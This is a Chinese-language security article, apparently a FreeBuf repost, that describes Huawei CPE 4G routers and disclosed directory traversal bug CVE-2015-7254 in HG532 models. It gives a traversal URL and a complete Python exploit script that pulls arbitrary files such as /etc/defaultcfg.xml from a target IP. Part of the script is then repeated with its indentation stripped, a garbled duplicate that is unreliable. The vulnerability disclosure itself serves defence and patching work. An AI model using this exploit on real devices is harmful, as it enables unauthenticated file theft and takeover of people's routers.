CPE是什么

CPE是一种将高速4G信号转换成平板电脑、智能手机、笔记本等移动终端通用的WiFi信号的设备,可同时支持多部终端上网,大小相当于一本书,在有4G信号覆盖的地方,插上电源就能使用,不必拉网线,使用和携带都很方便。

CPE的AP功能、路由器性能更强,可同时接平板电脑、智能手机、笔记本等移动终端几十个同时使用。具有较完整的用户认证功能及计费功能。

作者:Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)

日期:2015/11/06

CVE编号:CVE-2015-7254

向互联网开放网络端口(TCP / 37215,测试设备)的华为CPE模块存在目录遍历漏洞,37215端口是华为CPE设备的UPnP服务端口。

通过利用这一漏洞,远程攻击者可以不经验证访问设备的任何本地文件,黑客可以通过这一漏洞控制存在漏洞的设备。

详细来说,Web服务器被设计为无需身份验证就可以远程访问/icon/文件夹,然而这里提供的路径并不会检查目录遍历的尝试,导致攻击者可以用 ../ 访问任何本地文件。

举个栗子:设备的/etc/inittab文件可以通过以下网址访问到:

http://<target IP>:37215/icon/../../../etc/inittab

<target IP>是存在漏洞设备的IP地址

我们确认华为以下型号的设备将受到影响:

HG532e
HG532n
HG532s 其它型号的设备也很可能存在这一漏洞,但没有对它们进行测试

EXP

"""
Authors: Roberto Paleari (@rpaleari) and Aristide Fattori (@joystick)
"""

import logging
import sys
import urllib2


DEFAULT_HEADERS = {"User-Agent": "Mozilla", }
DEFAULT_TIMEOUT = 5


def fetch_url(url):
    global DEFAULT_HEADERS, DEFAULT_TIMEOUT
    request = urllib2.Request(url, headers=DEFAULT_HEADERS)

    try:
        data = urllib2.urlopen(request, timeout=DEFAULT_TIMEOUT).read()
    except Exception, e:
        logging.error("Exception: %s", e)
        data = None

    return data


def exploit(ip, path):
    url = "http://%s:37215/icon/../../../%s" % (ip, path)
    data = fetch_url(url)
    return data


def main():
    targetip = sys.argv[1]

    if len(sys.argv) > 2:
        path = sys.argv[2].strip()
    else:
        path = "/etc/defaultcfg.xml"

    assert path.startswith("/"), "An absolute path is required"
    data = exploit(targetip, path)
    if data is None:
        logging.error("Exploit failed")
        exit(-1)

    # Successful
    print data


if __name__ == "__main__":
    main()

def exploit(ip, path):
url = "http://%s:37215/icon/../../../%s" % (ip, path)
data = fetch_url(url)
return data


def main():
targetip = sys.argv[1]

if len(sys.argv) > 2:
path = sys.argv[2].strip()
else:
path = "/etc/defaultcfg.xml"

assert path.startswith("/"), "An absolute path is required"
data = exploit(targetip, path)
if data is None:
logging.error("Exploit failed")
exit(-1)

# Successful
print data


if __name__ == "__main__":
main()

GitHub 编译/0xroot,内容有所删减,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...